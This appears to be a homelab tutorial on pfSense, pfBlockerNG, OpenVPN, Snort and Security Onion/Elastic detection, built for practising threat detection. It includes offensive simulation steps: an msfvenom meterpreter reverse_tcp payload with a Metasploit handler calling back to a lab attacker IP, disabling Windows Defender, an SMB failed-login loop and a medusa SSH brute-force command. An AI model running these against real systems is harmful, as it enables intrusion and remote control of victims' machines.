;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 3270
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1432
;; QUESTION SECTION:
;dnssec-failed.org.             IN      A

;; Query time: 2520 msec
;; SERVER: 10.10.10.1#53(10.10.10.1) (UDP)
;; WHEN: Fri May 23 11:37:55 IST 2025
;; MSG SIZE  rcvd: 46

Testing DoT ยถ

From the docs: ยถ

DNSSEC is not generally compatible with forwarding mode, with or without DNS over TLS.

  • Change DNS Resolution Behavior to "Use local DNS, fallback to DNS Servers". This seems to work in my rigorous testing.
  • Test via Diagnostics โ†’ DNS Lookup
  • Check for states using port 853 going in Diagnostics โ†’ States โ†’ States
  • Refer to the image below, you should be good.

Pasted_image_20250523135432.png


PFBlockerNG: GeoBlocking, DNSBL

How does it work

IP-Based Blocking

  • Downloads lists of IP addresses known for malicious activity (malware, bots, spam, etc.), or from specific countries (GeoIP).
  • Creates aliases (groups of IPs).
  • Uses pfSense firewall rules to block or reject traffic to/from those IPs.

DNSBL

  • Runs a local DNS resolver with unbound (built into pfSense).
  • Intercepts DNS queries for known ad/tracker/malware domains.
  • Returns a fake IP (like 10.10.2.1, the IP you configured for Virtual IP) instead of the real IP.
  • This "blackholes" the domain โ€” no connection can be made.
  • Example
    • our device asks: โ€œWhatโ€™s the IP of ads.evilsite.com?โ€
    • pfBlockerNG responds: โ€œIt's 10.10.10.1.โ€ (a dead end)
    • So the ad never loads, and no malicious content gets through.

Configuration

DNSBL (DNS Blackhole List โ€” blocks ads, malware, trackers)

  • Go to : Firewall โ†’ pfBlockerNG โ†’ DNSBL
  • Check Enable DNSBL.
  • Set Listen Interfaces for outbound and inbound on PFBlockerNG โ†’ IP : IP Interface/Rules Configuration section
  • Check Permit Firewall Rules (to auto-create rules to access DNSBL Webserver (block page).).
  • Global Logging/Blocking Mode:
    • No Global mode: Logging & blocking depends per block list settings
    • DNSBL mode: Domains are sinkholed to the DNSBL VIP(Virtual IP) and logged.
    • Null blocking (no logging): '0.0.0.0' will be used instead of the DNSBL VIP and not logged.
  • Save settings and reload in Update tab.

IP Blocking

  • Go to : pfBlockerNG โ†’ IP
  • ASN Configuration: Enable ASN Reporting for ASN of the logged IP and populate ASN IPinfo Token with it's token.
  • MaxMind GeoIP configuration: Populate its fields for GeoBlocking
  • Kill States: After each update, this removes any active connections involving blocked IPs.

GeoBlocking Video suggested: https://www.youtube.com/watch?v=q1X0K-wzlTg&t=106s

  1. Go to : IP โ†’ GeoIP
  2. Configure action of the preferred continent.
  3. Click pencil icon on one of the listed continent like: Asia.
  4. Select countries with ctrl + click. Example: China, Pakistan, Turkiye. Pasted_image_20250524211455.png
  5. Configure the List Action, and "Save" and reload.

Here pakistan.gov.pk website is blocked.

Pasted_image_20250525004924.png

โš ๏ธ Note: Requires MaxMind GeoIP key (free with account).

Threat Intel Feeds

  1. Go to Feeds tab.
  2. Check feeds like:
    • easylist, adaway, malwaredomains, etc.
  3. Click plus icon to add, then go to Update tab and run Force Reload - All
  4. ping/curl an IP from one of the IPs from feeds that are active.
  5. And check alerts generated in Reports โ†’ Alerts
  6. We can see ASN info as well that I configured in pfBlockerNG โ†’ IP with https://ipinfo.io/ API.

Pasted_image_20250524144316.png


VPN: OpenVPN

Video suggested: https://www.youtube.com/watch?v=I61t7aoGC2Q&t=148s

We need to configure these: Certificate Authority to sign certificates, Server Certificate (used by OpenVPN) to prove its identity, and the client certificate. It's better to view walk-through videos to configure these than step by step instructions.

๐Ÿ”„ How OpenVPN Works

  1. Startup
    • Server starts and listens on port 1194.
    • Client starts and connects to server.
  2. (Optional) TLS Auth Check
    • Before any TLS handshake is accepted, server checks HMAC on packet using ta.key.
  3. TLS Handshake
    • Client and server exchange certificates.
    • Each verifies the other's certificate via the CA.
    • TLS keys are negotiated.
  4. Key Exchange
    • A secure session is established using TLS with DH or ECDH.
    • A shared symmetric key is derived for encryption.
  5. VPN Tunnel Created
    • A virtual interface (tun0) is created on both ends.
    • All traffic is encrypted and routed through this interface.
  6. Data Encryption
    • All traffic between client and server is encrypted with the symmetric key.
  7. Client Receives IP
    • Server assigns an internal VPN IP to the client (e.g., 10.10.3.2).
    • Client can access internal services or route internet traffic via VPN.

OpenVPN Client Export Utility

  • Install this from Syatem โ†’ Package Manager โ†’ Available Packages โ†’ Search for openvpn-client-export
  • Configure Host Name Resolution to public IP for remote access over public network.
  • Create a VPN user here: System โ†’ User Manager โ†’ Users
  • Add user certificate: Create Certificate for User section. And "Save".

Pasted_image_20250526120732.png

  • Go to: VPN โ†’ OpenVPN โ†’ Client Export Utility
  • The user you created should be visible here. Export the desired option.

Pasted_image_20250526121353.png

The exported .ovpn config includes:

  • The client certificate
  • The client private key
  • The CA certificate (so the client can verify the server)
  • Optionally, the TLS key (if used)

Test VPN

  • Image should be self explanatory.

Pasted_image_20250526123625.png

Security Tips

  • Use 4096-bit keys for long-term security
  • Disable compression (can lead to VORACLE attacks)
  • Use TLS-Crypt instead of TLS-Auth for additional privacy
  • Restrict users with firewall rules or user groups

IDPS: Snort

Video suggested: https://www.youtube.com/watch?v=SapAcfHbQSE&t=192s

Test snort

  • Custom rule
alert tcp any any -> any 80 (msg:"TEST ALERT - Visit to example.com"; content:"example.com"; http_header; sid:1000001; rev:1;)
  • curl from one of the LAN machines:
curl http://example.com
  • Go to: Services โ†’ Snort โ†’ Alerts

Pasted_image_20250527131729.png

Video suggested: elastic agent

Download Elastic Agent on Windows

  • Download the elastic agent from securityOnion to host machine.
 pipx install uploadserver
uploadserver
  • Go to your python server on Edge 10.10.3.2:8000 and download file to windows.
  • Run the executable as administrator.

Firewall config

  • To enable Elastic agent to send logs, please add your subnet to the allowed lists here.
  • elasticsearch_rest - rest API endpoint running on port 9200. (We are directly sends logs to elastic search, skipping logstash)

Pasted_image_20250606125342.png

Pasted_image_20250609142211.png

Verify

  • Go to: Kibana โ†’ Analytics โ†’ Discover
  • Add agent.name and process.name to Selected Fields

Pasted_image_20250609142704.png

โš ๏ธ Note

Make sure your windows can resolve the SecurityOnion host name. Check with elastic-agent status to view any errors. elastic-agent - should be in C:\Program Files\elastic\agent\ Edit hosts file in windows to include: 10.10.20.100 soc-server. soc-server is your SecurityOnion host name.

UseCases

#1 Failed Logon Attempts

Create few user accounts

  • Run this PS script on the windows
$users = @(
    @{Name="IronMan"; Password="Stark@123"},
    @{Name="CaptainAmerica"; Password="Shield@123"},
    @{Name="Thor"; Password="Mjolnir@123"},
    @{Name="Hulk"; Password="Smash@123"},
    @{Name="BlackWidow"; Password="Spy@123"}
)

foreach ($user in $users) {
    $name = $user.Name
    $password = $user.Password
    
    # Create user with net user command, password & no password change at next login
    net user $name $password /add /expires:never /passwordchg:no /fullname:"$name"

    Write-Host "Created user: $name"
}

Pasted_image_20250609170436.png

Simulate Failed Logins

  • We are using SMB here, it is enabled by default.
  • I ran this script from my host machine, you can do it from attacker machine as well.
  • Check with windows firewall for any network issues, I currently disabled it.
TARGET="10.10.10.103"
WRONG_PASS="WrongPassword123"
USERS=("BlackWidow" "CaptainAmerica" "Hulk" "IronMan" "Thor")

for user in "${USERS[@]}"; do
    echo -e "\n[*] Trying $user..."
    smbclient -L "//$TARGET/C$" -U "$user%$WRONG_PASS" -m SMB3 -d 1 2>&1
    sleep 1
done
[*] Trying BlackWidow...
Can't load /etc/samba/smb.conf - run testparm to debug it
session setup failed: NT_STATUS_LOGON_FAILURE

[*] Trying CaptainAmerica...
Can't load /etc/samba/smb.conf - run testparm to debug it
session setup failed: NT_STATUS_LOGON_FAILURE

[*] Trying Hulk...
Can't load /etc/samba/smb.conf - run testparm to debug it
session setup failed: NT_STATUS_LOGON_FAILURE

[*] Trying IronMan...
Can't load /etc/samba/smb.conf - run testparm to debug it
session setup failed: NT_STATUS_LOGON_FAILURE

[*] Trying Thor...
Can't load /etc/samba/smb.conf - run testparm to debug it
session setup failed: NT_STATUS_LOGON_FAILURE

Verify failed logins logs using PowerShell


# Generated by ChatGPT :) - After few tries ofc

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} | ForEach-Object {
    $evt = $_
    $username = $evt.Properties[5].Value

    # Search all properties for an IPv4 address pattern
    $ip = ($evt.Properties | ForEach-Object { $_.Value }) `
          | Where-Object { $_ -match '\b(?:\d{1,3}\.){3}\d{1,3}\b' } `
          | Select-Object -First 1

    if (-not $ip) { $ip = "N/A" }

    $time = $evt.TimeCreated

    [PSCustomObject]@{
        TimeCreated = $time
        Username = $username
        SourceIP = $ip
    }
} | Sort-Object TimeCreated -Descending | Format-Table -AutoSize
TimeCreated         Username       SourceIP
-----------         --------       --------
6/9/2025 5:10:20 PM Thor           10.10.3.2
6/9/2025 5:10:19 PM IronMan        10.10.3.2
6/9/2025 5:10:18 PM Hulk           10.10.3.2
6/9/2025 5:10:17 PM CaptainAmerica 10.10.3.2
6/9/2025 5:10:15 PM BlackWidow     10.10.3.2
6/9/2025 5:09:57 PM Thor           10.10.3.2
6/9/2025 5:09:56 PM IronMan        10.10.3.2
6/9/2025 5:09:55 PM Hulk           10.10.3.2
6/9/2025 5:09:53 PM CaptainAmerica 10.10.3.2
6/9/2025 5:06:09 PM Thor           10.10.3.2
6/9/2025 5:01:12 PM marry          127.0.0.1
6/9/2025 5:01:04 PM marry          127.0.0.1
6/9/2025 1:29:41 PM marry          127.0.0.1

Kibana Visualization

  • event.code: "4625" - Failed logons.

Pasted_image_20250609180227.png

We are simulating and detecting a basic Metasploit reverse_tcp shell while mapping it to the MITRE ATT&CK Framework.

Weaponization

TacticTechniqueSub Technique
TA0042: Resource DevelopmentT1587: Develop CapabilitiesT1587.001: Malware
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.30.100 LPORT=4444 -f exe > shell.exe

Delivery

TacticTechniqueSub Technique
TA0042: Resource DevelopmentT1608: Stage CapabilitiesT1608.001: Upload Malware
TA0011: Command and ControlT1105: Ingress Tool TransferNo sub-techniques

Disable Windows Defender, this is a basic shell.

python3 -m http.server 80

Pasted_image_20250610111426.png

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.30.100
set LPORT 4444
run

Exploitation

TacticTechniqueSub Technique
TA0002:ExecutionT1204:User ExecutionT1204.002: Malicious File
TA0011: Command and ControlT1095: Non-Application Layer ProtocolNo sub-techniques
T1571: Non-Standard PortNo sub-techniques
TA0007: DiscoveryT1082: System Information DiscoveryNo sub-techniques

Pasted_image_20250610112306.png


Detection

Pasted_image_20250615005857.png


Mitigations/Detections


Generate SSH Failed Login Attempt Alert on Elastic Security


MachineIP
Victim10.10.30.102
Attacker10.10.3.2

Create Detection Rule

  • Choose Threshold under Define rule.

Pasted_image_20250620123555.png

  • Under Source choose Data View and choose logs-* under that as shown below.

Pasted_image_20250620123843.png

  • Use the below KQL query to query failed or invalid ssh auth events.
  • Group by source.ip, i.e., from where ssh auth request is orginating from.
  • Set Threshold value as 10, i.e., if there are 10 or more failed/invalid auth events, then a alert will be triggered.
system.auth.ssh.event : "Failed" or system.auth.ssh.event: "Invalid" 
  • Continue to the next section. Fill the details as appropriate.

Pasted_image_20250620125517.png Pasted_image_20250620125619.png

Simulate attack

medusa -h 10.10.30.102 -u testuser -P passwords.txt -M ssh

Pasted_image_20250620130723.png

Note: The victim machine must send logs to Elastic (via elastic agent) for alert generation.

Detection

  • Wait 5 min after simulating the attack and navigate to Elastic Security

Pasted_image_20250620130846.png

Detect user account creation and deletion events in Windows environments


Check User Account Audit Policy

AuditPol /get /category:"Account Management"
System audit policy
Category/Subcategory                      Setting
Account Management
  Computer Account Management             No Auditing
  Security Group Management               Success
  Distribution Group Management           No Auditing
  Application Group Management            No Auditing
  Other Account Management Events         No Auditing
  User Account Management                 Success <------ This should be success

Audit computer account management

AuditPol /set /subcategory:"Computer Account Management" /success:enable /failure:enable

๐Ÿงช Validation Steps

  1. Perform a test:
    • Create a test user: net user testuser Test123! /add
    • Delete it: net user testuser /del
  2. Kibana -> Discover:
event.code: ("4720" or "4726")

Pasted_image_20250626134418.png


Event IDs to Monitor

Account Creation

  • Event ID 4720: A user account was created.
  • Event ID 4741: A computer account was created.

Account Deletion

  • Event ID 4726: A user account was deleted.
  • Event ID 4743: A computer account was deleted.

Optional Auditing Events

  • Event ID 628 / 624 โ€” legacy versions (Windows Server 2003).
  • Event ID 1102: Audit log cleared (can indicate tampering).